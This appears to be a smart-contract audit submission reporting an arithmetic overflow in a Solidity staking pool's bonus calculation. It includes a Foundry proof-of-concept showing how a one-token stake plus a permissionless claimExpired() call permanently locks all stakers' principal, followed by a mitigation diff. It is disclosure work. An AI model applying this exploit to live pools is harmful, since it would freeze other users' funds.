FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Expanded k=2 moment arithmetic can permanently lock all staker principal and snapshotted bonus

Author Revealed upon completion
## Description
The k=2 bonus is intended to weight each deposit by `amount * (T - entryTime)^2`. A successful SURVIVED or EXPIRED claim should return principal regardless of the size of the bonus share.
`_bonusShare` does not calculate that score directly. It stores absolute Unix-timestamp moments and expands the square into separate positive and negative terms. The positive terms are evaluated in checked `uint256` arithmetic before they cancel. As a result, the global `plus` term can overflow even when the intended score is valid and far below `type(uint256).max`.
## Root + Impact
```solidity
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}
```
The later `Math.mulDiv` does not protect these operations because execution reverts before reaching it. There is also no raw-supply, decimals, or aggregate-stake bound when a token is allowlisted or a stake is accepted.
For deposits made at timestamp `s`, the global positive term is:
```text
totalStake * (T^2 + s^2)
```
Using `s = 1,750,000,000` and `T = s + 31 days`:
```text
T^2 + s^2 = 6,134,381,573,826,560,000
q = floor(uint256.max / (T^2 + s^2))
= 18,875,918,924,144,517,978,720,475,696,140,187,180,017,200,985,766,841,275,144 raw units
```
An aggregate of `q` raw units fits; `q + 1` overflows. With 48 decimals, this boundary is about 18.876 billion displayed tokens. A victim can therefore sit one ordinary token below the boundary and an unprivileged staker can cross it with the pool's one-token minimum.
At expiry, a zero-stake address can call `claimExpired()`. The call snapshots the poisoned totals, sets `outcome = EXPIRED` and `claimsStarted = true`, then returns before `_bonusShare` because the caller has no stake:
```solidity
if (outcome == PoolStates.Outcome.UNRESOLVED) {
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
// ...
@> outcome = PoolStates.Outcome.EXPIRED;
@> claimsStarted = true;
}
uint256 userEligible = eligibleStake[msg.sender];
if (userEligible == 0) {
@> return;
}
```
Resolution therefore persists without evaluating the unsafe expression. Every funded claimant later reaches the same overflowing global term and reverts with panic `0x11`.
## Impact
High. Every funded staker's principal and the entire snapshotted bonus can become permanently
unclaimable in the affected clone.
## Likelihood
Low. The pool must use an uncommon high-decimal ERC20 and hold enough raw stake to cross the
arithmetic boundary. Once such a pool exists, the poisoning stake and finalization are
permissionless.
## Risk
**Severity: Medium (High impact × Low likelihood).**
### Likelihood
1. This occurs when an allowlisted standard ERC20 has enough decimals and raw supply for aggregate stake to approach the moment boundary. The demonstrated token uses exact OpenZeppelin ERC20 transfers, reports 48 decimals, and has no fee, rebase, callback, blacklist, or confiscation behavior.
2. A positive bonus is required to enter the k=2 calculation. Any caller can contribute one raw unit before expiry when the pool has no existing bonus. The factory owner's allowlist makes the setup uncommon, but no privileged action is required after the token and pool are live.
### Impact
1. All principal and the snapshotted bonus remain in the non-upgradeable clone. EXPIRED disables `withdraw`, every funded claim repeats the overflow, and `claimsStarted` prevents moderator correction.
2. `sweepUnclaimedBonus` cannot recover an exactly funded pool because it reserves all outstanding principal and unpaid bonus. In the PoC, one attacker token locks more than 18 billion victim tokens plus the bonus.
## Proof of Concept
The test uses the real factory, real clones, the project mocks for registry state, and a standard
exact-transfer ERC20 with only `decimals()` overridden. It includes a control pool whose victim
position remains below the boundary, followed by an otherwise identical pool where the attacker's
one-token stake crosses it.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, stdError} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract Standard48DecimalERC20 is ERC20 {
address public immutable minter = msg.sender;
constructor() ERC20("Standard 48 Decimal Token", "S48") {}
function decimals() public pure override returns (uint8) {
return 48;
}
function mint(address to, uint256 amount) external {
require(msg.sender == minter);
_mint(to, amount);
}
}
contract HighDecimalsMomentOverflowPoC is Test {
uint256 constant S = 1_750_000_000;
uint256 constant ONE_TOKEN = 1e48;
address constant SCOPE_ACCOUNT = address(0xC0FFEE);
address sponsor = makeAddr("sponsor");
address moderator = makeAddr("moderator");
address recovery = makeAddr("recovery");
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
address donor = makeAddr("donor");
address resolver = makeAddr("resolver");
Standard48DecimalERC20 token;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarborRegistry;
ConfidencePool controlPool;
ConfidencePool attackedPool;
uint256 expiry;
uint256 victimStake;
function setUp() public {
vm.warp(S);
expiry = S + 31 days;
token = new Standard48DecimalERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
MockAgreement agreement = new MockAgreement(sponsor);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(implementation), moderator)
)
);
ConfidencePoolFactory factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
vm.startPrank(sponsor);
controlPool = ConfidencePool(
factory.createPool(
address(agreement), address(token), expiry, ONE_TOKEN, recovery, scope
)
);
attackedPool = ConfidencePool(
factory.createPool(
address(agreement), address(token), expiry, ONE_TOKEN, recovery, scope
)
);
vm.stopPrank();
uint256 q = type(uint256).max / (expiry * expiry + S * S);
victimStake = q + 1 - ONE_TOKEN;
token.mint(victim, victimStake * 2);
_stake(controlPool, victim, victimStake);
_stake(attackedPool, victim, victimStake);
token.mint(donor, 2);
_contributeBonus(controlPool, donor, 1);
_contributeBonus(attackedPool, donor, 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
controlPool.pokeRiskWindow();
attackedPool.pokeRiskWindow();
token.mint(attacker, ONE_TOKEN);
}
function test_Control_VictimAtBoundaryClaimsPrincipalAndBonus() external {
vm.warp(expiry);
vm.prank(resolver);
controlPool.claimExpired();
uint256 victimBefore = token.balanceOf(victim);
vm.prank(victim);
controlPool.claimExpired();
assertEq(token.balanceOf(victim) - victimBefore, victimStake + 1);
assertEq(token.balanceOf(address(controlPool)), 0);
}
function test_PoC_OneTokenPermissionlessStakePermanentlyLocksPool() external {
_stake(attackedPool, attacker, ONE_TOKEN);
assertGt(
attackedPool.totalEligibleStake(),
type(uint256).max / (expiry * expiry + S * S)
);
vm.warp(expiry);
vm.prank(resolver);
attackedPool.claimExpired();
assertEq(uint256(attackedPool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertTrue(attackedPool.claimsStarted());
vm.prank(victim);
vm.expectRevert(stdError.arithmeticError);
attackedPool.claimExpired();
vm.prank(attacker);
vm.expectRevert(stdError.arithmeticError);
attackedPool.claimExpired();
vm.prank(victim);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
attackedPool.withdraw();
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
attackedPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
attackedPool.sweepUnclaimedBonus();
assertEq(token.balanceOf(address(attackedPool)), victimStake + ONE_TOKEN + 1);
assertEq(token.balanceOf(recovery), 0);
assertGt(victimStake / ONE_TOKEN, 18_000_000_000);
}
function _stake(ConfidencePool target, address staker, uint256 amount) internal {
vm.startPrank(staker);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
function _contributeBonus(ConfidencePool target, address contributor, uint256 amount) internal {
vm.startPrank(contributor);
token.approve(address(target), amount);
target.contributeBonus(amount);
vm.stopPrank();
}
}
```
The control holds `q + 1 - 10^48` raw units—one displayed token minus one raw unit below `q`—and
successfully pays principal plus bonus. The second test adds one displayed token, reaches `q + 1`,
and locks the attacked pool.
## Recommended Mitigation
Calculate moments relative to a bounded origin and use verified full-precision arithmetic for every intermediate. Until that change is complete, enforce an aggregate raw-stake ceiling that proves the existing expanded terms cannot overflow. A decimals cap alone is not sufficient because supply and aggregate stake also determine the bound.
The following conservative guard keeps every current first- and second-moment term below
`uint256.max` because `outcomeFlaggedAt <= expiry` and every effective entry time is at most
`expiry`:
```diff
+ error StakeMagnitudeTooLarge();
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ... transfer and calculate `received`
+ uint256 T = uint256(expiry);
+ uint256 maxSafeTotalStake = type(uint256).max / (2 * T * T);
+ if (
+ totalEligibleStake > maxSafeTotalStake
+ || received > maxSafeTotalStake - totalEligibleStake
+ ) {
+ revert StakeMagnitudeTooLarge();
+ }
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
// ...
}
```
Add regression tests at the exact aggregate boundary and one unit above it for both SURVIVED and EXPIRED resolution.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!